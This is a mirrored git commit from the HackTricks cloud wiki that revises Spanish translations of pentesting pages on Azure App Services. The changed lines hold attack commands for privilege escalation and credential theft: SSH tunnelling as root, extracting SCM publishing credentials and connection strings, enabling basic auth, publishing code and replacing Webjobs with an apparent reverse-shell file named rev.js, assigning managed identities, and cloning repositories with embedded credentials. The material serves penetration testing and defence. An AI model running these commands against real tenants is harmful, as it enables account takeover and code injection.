mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 22:20:33 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -23,7 +23,7 @@ az webapp ssh --name <name> --resource-group <res-group>
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
## If successfull you will get a message such as:
|
||||
## If successful you will get a message such as:
|
||||
#Verifying if app is running....
|
||||
#App is running. Trying to establish tunnel connection...
|
||||
#Opening tunnel on port: 39895
|
||||
@@ -43,7 +43,7 @@ ssh root@127.0.0.1 -p 39895
|
||||
|
||||
Para obtener las credenciales SCM, puedes usar los siguientes **comandos y permisos**:
|
||||
|
||||
- El permiso **`Microsoft.Web/sites/publishxml/action`** permite llamar:
|
||||
- El permiso **`Microsoft.Web/sites/publishxml/action`** permite llamar a:
|
||||
```bash
|
||||
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
@@ -129,9 +129,9 @@ Luego, puedes usar estas credenciales para **acceder a las plataformas SCM y FTP
|
||||
Recuerda que para acceder a la plataforma SCM desde la **web necesitas acceder a `<SCM-URL>/BasicAuth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que cada usuario puede configurar sus propias credenciales llamando al comando anterior, pero si el usuario no tiene suficientes permisos para acceder al SCM o FTP, las credenciales no funcionarán.
|
||||
> Ten en cuenta que cada usuario puede configurar sus propias credenciales llamando al comando anterior, pero si el usuario no tiene suficientes permisos para acceder a SCM o FTP, las credenciales no funcionarán.
|
||||
|
||||
- Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción de autenticación básica de SCM** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
- Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción de autenticación básica de SCM** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -149,21 +149,21 @@ az rest --method PUT \
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Publicar código usando credenciales de SCM
|
||||
|
||||
Solo con tener credenciales de SCM válidas es posible **publicar código** en el servicio de App. Esto se puede hacer utilizando el siguiente comando.
|
||||
Solo con tener credenciales de SCM válidas es posible **publicar código** en el servicio de App. Esto se puede hacer usando el siguiente comando.
|
||||
|
||||
Para este ejemplo en python, puedes descargar el repositorio de https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, hacer cualquier **cambio** que desees y luego **comprimirlo ejecutando: `zip -r app.zip .`**.
|
||||
|
||||
Luego puedes **publicar el código** con el siguiente comando:
|
||||
Luego puedes **publicar el código** en una aplicación web con el siguiente comando:
|
||||
```bash
|
||||
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
|
||||
```
|
||||
### Microsoft.Web/sites/publish/Action | Credenciales de SCM
|
||||
### Webjobs: Microsoft.Web/sites/publish/Action | Credenciales de SCM
|
||||
|
||||
El permiso de Azure mencionado permite realizar varias acciones interesantes que también se pueden realizar con las credenciales de SCM:
|
||||
El permiso de Azure mencionado permite realizar varias acciones interesantes que también se pueden llevar a cabo con las credenciales de SCM:
|
||||
|
||||
- Leer los registros de **Webjobs**:
|
||||
```bash
|
||||
@@ -173,7 +173,7 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az
|
||||
|
||||
# Using SCM username and password:
|
||||
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
|
||||
--user '<username>:<password>>' -v
|
||||
--user '<username>:<password>' -v
|
||||
```
|
||||
- Leer el código fuente de **Webjobs**:
|
||||
```bash
|
||||
@@ -203,19 +203,19 @@ curl -X PUT \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
Este permiso permite listar las **connection strings** y los **appsettings** del servicio de aplicaciones, que pueden contener información sensible como credenciales de base de datos.
|
||||
```bash
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
```
|
||||
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
|
||||
|
||||
Estos permisos permiten **asignar una identidad administrada** al servicio de App, por lo que si un servicio de App fue comprometido anteriormente, esto permitirá al atacante asignar nuevas identidades administradas al servicio de App y **escalar privilegios** a ellas.
|
||||
```bash
|
||||
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
Este permiso permite listar las **connection strings** y los **appsettings** del servicio de App, que pueden contener información sensible como credenciales de base de datos.
|
||||
```bash
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
```
|
||||
### Leer Credenciales de Terceros Configuradas
|
||||
|
||||
Ejecutando el siguiente comando es posible **leer las credenciales de terceros** configuradas en la cuenta actual. Ten en cuenta que si, por ejemplo, algunas credenciales de Github están configuradas en un usuario diferente, no podrás acceder al token desde otro.
|
||||
@@ -250,7 +250,7 @@ https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Actualizar el código de la aplicación desde la fuente
|
||||
|
||||
- Si la fuente configurada es un proveedor de terceros como Github, BitBucket o un repositorio de Azure, puedes **actualizar el código** del servicio de la aplicación comprometiendo el código fuente en el repositorio.
|
||||
- Si la fuente configurada es un proveedor de terceros como Github, BitBucket o un Repositorio de Azure, puedes **actualizar el código** del servicio de la aplicación comprometiendo el código fuente en el repositorio.
|
||||
- Si la aplicación está configurada utilizando un **repositorio git remoto** (con nombre de usuario y contraseña), es posible obtener la **URL y las credenciales de autenticación básica** para clonar y enviar cambios con:
|
||||
- Usando el permiso **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
|
||||
- Usando el permiso **`Microsoft.Web/sites/config/list/action`**:
|
||||
|
||||
@@ -44,7 +44,7 @@ Kudu es la plataforma que **gestiona tanto el SCM como una interfaz web y API**
|
||||
Tenga en cuenta que las versiones de Kudu utilizadas por App Services y por Function Apps son diferentes, siendo la versión de las Function Apps mucho más limitada.
|
||||
|
||||
Algunos puntos finales interesantes que puede encontrar en Kudu son:
|
||||
- `/BasicAuth`: Necesita acceder a esta ruta para **iniciar sesión en Kudu**.
|
||||
- `/BasicAuth`: Necesita acceder a esta ruta para **iniciar sesión dentro de Kudu**.
|
||||
- `/DebugConsole`: Una consola que permite ejecutar comandos en el entorno donde se está ejecutando Kudu.
|
||||
- Tenga en cuenta que este entorno **no tiene acceso** al servicio de metadatos para obtener tokens.
|
||||
- `/webssh/host`: Un cliente SSH basado en web que permite conectarse dentro del contenedor donde se está ejecutando la aplicación.
|
||||
@@ -56,13 +56,13 @@ Además, Kudu solía ser de código abierto en [https://github.com/projectkudu/k
|
||||
|
||||
## Fuentes
|
||||
|
||||
Los App Services permiten subir el código como un archivo zip por defecto, pero también permiten conectarse a un servicio de terceros y obtener el código desde allí.
|
||||
Los App Services permiten cargar el código como un archivo zip por defecto, pero también permiten conectarse a un servicio de terceros y obtener el código desde allí.
|
||||
|
||||
- Las fuentes de terceros actualmente soportadas son **Github** y **Bitbucket**.
|
||||
- Puede obtener los tokens de autenticación ejecutando `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
||||
- Azure por defecto configurará una **Github Action** para implementar el código en el App Service cada vez que se actualice el código.
|
||||
- También es posible indicar un **repositorio git remoto** (con nombre de usuario y contraseña) para obtener el código desde allí.
|
||||
- Puede obtener las credenciales del repositorio remoto ejecutando `az webapp deployment source show --name <app-name> --resource-group <res-group>` o `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Puede obtener las credenciales para el repositorio remoto ejecutando `az webapp deployment source show --name <app-name> --resource-group <res-group>` o `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- También es posible usar un **Azure Repository**.
|
||||
- También es posible configurar un **repositorio git local**.
|
||||
- Puede obtener la URL del repositorio git con `az webapp deployment source show --name <app-name> --resource-group <res-group>` y será la URL SCM de la aplicación.
|
||||
@@ -156,6 +156,9 @@ az webapp config storage-account list --name <name> --resource-group <res-group>
|
||||
# Get configured container (if any) in the webapp, it could contain credentials
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get git URL to access the code
|
||||
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
|
||||
|
||||
# Get Webjobs
|
||||
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
|
||||
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
|
||||
@@ -217,29 +220,12 @@ done
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Obtener credenciales y acceder al código de la aplicación web
|
||||
```bash
|
||||
# Get connection strings that could contain credentials (with DBs for example)
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
## Check how to use the DBs connection strings in the SQL page
|
||||
|
||||
# Get credentials to access the code and DB credentials if configured.
|
||||
az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
|
||||
|
||||
|
||||
# Get git URL to access the code
|
||||
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
|
||||
|
||||
# Access/Modify the code via git
|
||||
git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
|
||||
## In my case the username was: $nameofthewebapp and the password some random chars
|
||||
## If you change the code and do a push, the app is automatically redeployed
|
||||
```
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Ejemplos para generar aplicaciones web
|
||||
## Ejemplos para generar Aplicaciones Web
|
||||
|
||||
### Python desde local
|
||||
|
||||
|
||||
Reference in New Issue
Block a user